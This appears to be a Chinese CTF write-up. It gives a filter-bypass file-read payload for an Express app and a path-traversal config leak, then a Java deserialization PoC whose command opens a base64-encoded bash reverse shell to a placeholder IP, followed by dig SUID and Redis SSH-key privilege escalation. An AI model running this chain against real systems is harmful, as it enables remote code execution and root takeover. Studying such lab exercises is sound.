本文最后更新于 417 天前,其中的信息可能已经有所发展或是发生改变。
Web
express fs
- 任意文件读,读源代码
- 参考链接派神
const express = require("express");
const fs = require("fs");
const app = express();
const PORT = process.env.PORT || 80;
app.use('/static', express.static('static'))
app.use((req, res, next) => {
if (
[req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)
) {
return res.send("臭黑客!");
}
next();
});
app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
} catch (err) {
console.log(err);
res.status(500).send("Internal server error");
}
});
app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));
- payload
/?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/proc/self/cwd/fl%2561g.txt
渗透
- 任意文件读,读取配置文件和源代码jar包
HTTP/1.1 200
Content-Disposition: attachment; filename="../../../../../../../../../usr/local/share/application.properties"
Content-Type: application/octet-stream
Content-Length: 252
Date: Wed, 11 Oct 2023 05:51:55 GMT
Connection: close
server.port=18080
server.servlet.context-path=/
management.endpoints.web.exposure.include=heapdump
spring.redis.host=172.25.0.10
spring.redis.port=62341
spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a
spring.servlet.multipart.max-file-size=10MB
- 发现有一个 Redis,后续有相关渗透
- 源码里存在第一个flag,存在一个异或加密
UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==
public String o0o(String Ooo) {
StringBuilder oOo = new StringBuilder();
int o0O = 0;
for(int OO0 = Ooo.length(); o0O < OO0; ++o0O) {
char Oo0 = Ooo.charAt(o0O);
char oOO = this.O0O.charAt(o0O % this.O0O.length());
char OOo = (char)(Oo0 ^ oOO);
oOo.append(OOo);
}
return Base64.getEncoder().encodeToString(oOo.toString().getBytes());
}
- 路由存在一个反序列化入口
@PostMapping({"/internalApi/v3.2/updateConfig"})
public String syncData(@RequestBody String payload) {
try {
byte[] data = Base64.getDecoder().decode(payload);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();
return "Data synced successfully";
} catch (ClassNotFoundException | IOException var5) {
return "Failed to sync data: " + var5.getMessage();
}
}
- Ping 存在可以rce的地方
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
String[] cmdArray = new String[]{this.command, this.arg1, this.arg2};
Runtime.getRuntime().exec(cmdArray);
}
- poc
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, NoSuchMethodException, InvocationTargetException {
Class clazz = Class.forName("com.example.demo.Ping");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object pingObj = constructor.newInstance();
Field command = clazz.getDeclaredField("command");
command.setAccessible(true);
Field arg1 = clazz.getDeclaredField("arg1");
arg1.setAccessible(true);
Field arg2 = clazz.getDeclaredField("arg2");
arg2.setAccessible(true);
command.set(pingObj, "bash");
arg1.set(pingObj, "-c");
arg2.set(pingObj, "{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3lvdXJfaXAveW91cl9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(pingObj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
}
}
- 反弹shell,存在一个 hint.txt,提示了 flag 位置
/root/flag2
- suid提权,dig提权,第二个flag
dig -f /root/flag2
- 最后一个 redis,替换ssh公钥,ssh root 连接